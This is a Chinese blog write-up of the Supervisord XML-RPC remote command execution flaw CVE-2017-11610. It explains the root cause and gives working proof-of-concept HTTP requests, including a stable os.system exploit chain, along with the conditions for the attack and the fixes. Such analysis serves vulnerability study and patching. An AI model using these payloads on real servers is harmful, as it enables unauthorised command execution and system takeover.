python supervisord 远程命令执行漏洞(CVE-2017-11610)
Supervisord
Supervisord是一款Python开发,用于管理后台应用(服务)的工具,其角色类似于Linux自带的Systemd。
我觉得它相比Systemd有几个特点:
- 配置比较简单
- 一个简单的第三方应用,与系统没有耦合
- 提供HTTP API,支持远程操作
所以,我之前把他用来跑一些Web应用。
Supervisord的架构分为Server和Client,Server以一个服务的形式,跑在系统后台,而Client是一个命令行工具,其实就是根据用户的要求,调用Server提供的API,执行一些工作。
查看Supervisord的配置文件可知,默认情况下,Server端监听在unix套接字unix:///tmp/supervisor.sock
上,而Client配置的serverurl也是这个地址:
[unix_http_server] file=/tmp/supervisor.sock ; the path to the socket file ;chmod=0700 ; socket file mode (default 0700) ;chown=nobody:nogroup ; socket file uid:gid owner ;username=user ; default is no username (open server) ;password=123 ; default is no password (open server);[inet_http_server] ; inet (TCP) server disabled by default ;port=127.0.0.1:9001 ; ip_address:port specifier, *:port for all iface ;username=user ; default is no username (open server) ;password=123 ; default is no password (open server)[supervisorctl] serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL for a unix socket ;serverurl=http://127.0.0.1:9001 ; use an http:// url to specify an inet socket ;username=chris ; should be same as in [*_http_server] if set ;password=123 ; should be same as in [*_http_server] if set ;prompt=mysupervisor ; cmd line prompt (default "supervisor") ;history_file=~/.sc_history ; use readline history if available
所以,Client端去连接配置文件中的serverurl的地址,并与其使用RPC协议(基于HTTP协议)通信。比如我们平时常用的命令(启动名为web的服务):supervisorctl start web
,看下其数据包:
其实很简单的协议,通过XML,将methodName和params通过HTTP协议传给服务端进行执行。start
命令执行的是supervisor.startProcess
方法,仅有一个参数就是服务的名称。
另外,如果我设置了[inet_http_server]
段,即可将Supervisord监听在TCP端口上,这样外部其他程序也能进行调用。我们可以直接将默认配置文件中这一段前面的分号去掉,就默认监听在9001端口上了。
漏洞分析
CVE-2017-11610的本质是一个不安全的对象引用+方法调用,十分类似Java中的反序列化漏洞。
在上一章中我说了,Supervisord的控制实际上就是一个C/S以RPC协议的通信的过程,而RPC协议(远程过程调用协议),顾名思义就是C端通过RPC协议可以在S端执行某个函数,并得到返回结果。那么,如果C端执行了S端预料之外的函数(如os.system
),那么就会导致漏洞的产生。
一个安全的RPC协议,会有一个函数名的映射,也就是说C端只能调用在白名单之中的部分函数,并且这个“函数”只是真正函数的一个映射。
而我们来看看3.3.2版本中Supervisord是如何处理RPC调用的:
class supervisor_xmlrpc_handler(xmlrpc_handler):...def call(self, method, params):return traverse(self.rpcinterface, method, params)def traverse(ob, method, params):path = method.split('.')for name in path:if name.startswith('_'):# security (don't allow things that start with an underscore to# be called remotely)raise RPCError(Faults.UNKNOWN_METHOD)ob = getattr(ob, name, None)if ob is None:raise RPCError(Faults.UNKNOWN_METHOD)try:return ob(*params)except TypeError:raise RPCError(Faults.INCORRECT_PARAMETERS)
supervisor_xmlrpc_handlerl
类用于处理RPC请求,其call方法就是真正执行远程调用的函数。在call方法中调用了traverse函数,跟进这个函数,我们发现他的逻辑是这样:
- 将method用点号分割成数组path
- 遍历这个数组,每次获得一个name
- 如果name不以下划线开头,则获取ob对象的name属性,其作为新的ob对象
- 遍历完成后获得最终的ob对象,调用之
所以,实际上这个函数最后达成的效果就是:初始ob对象下的任意public方法,包括它的所有递归子对象的任意public方法,都可以被调用。
而此处,ob对象即为self.rpcinterface
,官方开发者可能认为可调用的方法只限制在这个对象内部,所以没有做特别严格的白名单限制。
而CVE-2017-11610的发现者发现,在self.rpcinterface.supervisor.supervisord.options
对象下,有一个方法execve
,其相当于直接调用了系统的os.execve
函数,是可以直接执行任意命令的:
class ServerOptions(Options):... def execve(self, filename, argv, env):return os.execve(filename, argv, env)
所以,最后给出利用POC(RPC协议如何构造数据包、XML是什么格式,这个可以自己去看看文档):
POST /RPC2 HTTP/1.1 Host: localhost Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 439<?xml version="1.0"?> <methodCall> <methodName>supervisor.supervisord.options.execve</methodName> <params> <param> <string>/usr/local/bin/python</string> </param> <param> <array> <data> <value><string>python</string></value> <value><string>-c</string></value> <value><string>import os;os.system('touch /tmp/success');</string></value> </data> </array> </param> <param> <struct> </struct> </param> </params> </methodCall>
POC缺陷与改进
当然,漏洞发现者找到的这个self.rpcinterface.supervisor.supervisord.options.execve
其实不是那么好用,原因是,Python的os.execve
函数会使用新进程取代现有的进程。也就是说,这里会导致Supervisord本身退出。
基于Docker容器的Supervisord(如Vulhub里这个靶场),如果基础进程Supervisord被退出,那么将导致整个容器被退出,即使我们执行了任意命令,我们获得的权限也是转瞬即逝的。
另外,即使非Docker环境,我们在测试漏洞的过程中影响到了线上业务,这个后果是无法估量的,所以我们必须想其他方法来稳定的利用漏洞。
我说两个方法。
法一、先Fork一个新进程
同样在self.rpcinterface.supervisor.supervisord.options
对象中,有一个fork
方法,是调用了系统的os.fork
函数。
os.fork
函数的作用就是根据当前进程,派生一个新的子进程。所以,即使当前进程被意外结束了,也不会导致Supervisord服务终止,因为派生的进程还留存着。
所以,先发送如下数据包即可派生新进程:
POST /RPC2 HTTP/1.1 Host: localhost Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 133<?xml version="1.0"?> <methodCall> <methodName>supervisor.supervisord.options.fork</methodName> <params> </params> </methodCall>
然后再发送之前的POC即可。
但这个方法还是会影响Docker容器。
法二、找寻其他利用链
这个漏洞和一些反序列化漏洞类似,都是去找到一个不安全的对象。那么,除了原作者给出的self.rpcinterface.supervisor.supervisord.options.execve()
,是不是还可以找到其他更好用的利用链呢?
通过一系列调试,我找到了一个利用链:supervisor.supervisord.options.warnings.linecache.os.system()
,其实目的很简单,就是想方设法找到非下划线开头的属性中,是否有引用os模块。linecache中引用了os模块:
所以,构造如下数据包:
POST /RPC2 HTTP/1.1 Host: localhost Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 275<?xml version="1.0"?> <methodCall> <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName> <params> <param> <string>touch /tmp/success</string> </param> </params> </methodCall>
即可直接执行任意命令。如,反弹shell:
漏洞影响与修复
出现这个漏洞,一般有几个条件:
- Supervisord版本在受影响的范围内
- RPC端口可被访问
- RPC无密码或密码脆弱
第二个条件其实不太容易达到。默认安装的Supervisord,是只监听unix套接字的,所以外部IP根本无法访问。
另外,如果你已经拿到了一台机器的低权限,想访问本地的unix套接字,利用该漏洞提权,也是不现实的:原因是supervisord.sock文件权限默认是0700,其他用户无法访问,能够访问的用户权限和它是一样的,也就不存在提权的说法了。
当然,如果运维同学不小心将RPC端口开放了,并且使用了默认密码或没有设置密码,那么借助这个漏洞进行攻击,也是很不错的。
如何修复这个漏洞?
- 升级Supervisord
- 端口访问控制
- 设置复杂RPC密码
python supervisord 远程命令执行漏洞(CVE-2017-11610)相关推荐
- NSA泄密事件之SMB系列远程命令执行漏洞及Doublepulsar后门全球数据分析
本文讲的是NSA泄密事件之SMB系列远程命令执行漏洞及Doublepulsar后门全球数据分析, 1. 概述 2017 年 4 月 14 日,黑客组织Shadow Brokers 公布了一批新的N ...
- flexpaper php 代码,FlexPaper 2.3.6 远程命令执行漏洞 附Exp
影响版本:小于FlexPaper 2.3.6的所有版本 FlexPaper (https://www.flowpaper.com) 是一个开源项目,遵循GPL协议,在互联网上非常流行.它为web客户端 ...
- webmin远程命令执行漏洞(cve-2019-15107)深入分析
漏洞描述 近日Webmin被发现存在一处远程命令执行漏洞,经过分析后,初步猜测其为一次后门植入事件. Webmin是目前功能最强大的基于Web的Unix系统管理工具.管理员通过浏览器访问Webmin的 ...
- 远程执行漏洞修复方案_请马上修复!SaltStack远程命令执行漏洞
[漏洞预警]SaltStack远程命令执行漏洞(CVE-2020-11651.CVE-2020-11652) 2020年5月3日,阿里云应急响应中心监测到近日国外某安全团队披露了SaltStack存在 ...
- 又被野外利用了!新曝光Office产品多个远程命令执行漏洞分析
本文讲的是又被野外利用了!新曝光Office产品多个远程命令执行漏洞分析, 早在2015年,FireEye曾发布过两次关于Office的Encapsulated PostScript (EPS)图形文 ...
- GoAhead远程命令执行漏洞(CVE-2021-42342)
GoAhead远程命令执行漏洞(CVE-2021-42342) 目录 GoAhead远程命令执行漏洞(CVE-2021-42342) 漏洞描述 漏洞复现 启动环境 复现漏洞 漏洞描述 漏洞主要是由于上 ...
- FastJson远程命令执行漏洞
FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...
- 开源堡垒机JumpServer远程命令执行漏洞复现
声明 好好学习,天天向上 漏洞描述 JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统.JumpServer 使用Python ...
- 华为路由器远程命令执行漏洞复现(CVE-2017-17215)
华为路由器远程命令执行漏洞复现(CVE-2017-17215) 漏洞内容 这个漏洞算是比较老的一种漏洞了,但是具有一定的学习价值. CheckPoint报告华为HG532路由器产品存在远程命令执行漏洞 ...
最新文章
- mysql中怎么查询单行单列_MySql中的子查询-结果单行单列
- 一套代码同时支持.NET Framework和.NET Core
- P3793-由乃救爷爷【分块,ST表】
- 专家:人工智能开始对现实世界产生重大影响​​
- php+引用swf,php – 嵌入flv和swf位于webroot之外
- 使用Nacos搭建微服务注册中心和配置中心(二)
- 求1~100以内的素数,最简单的方式
- maven tomcat eclipse 配置 debug
- yolov4网络结构_上达最高精度,下到最快速度,Scaled-YOLOv4:模型缩放显神威
- Linux -Docker
- win7 ie11版本安装报此更新不适用于计算机问题
- InstallShield使用完全教程
- 常见测试用例设计方法1---等价类划分
- 深入理解c++之struct构造函数
- 惠普电脑u盘重装系统步骤_惠普电脑u盘重装系统xp教程
- svg--矢量图和位图
- 计算机专业转ubc绩点,中国留学生申请加拿大名校,如何换算GPA成绩?
- Java 对接打印机接口
- 蛮力法查找有序数列c语言,算法——蛮力法之选择排序和冒泡排序c++实现
- 11个销售心理学方法,帮你搞定客户!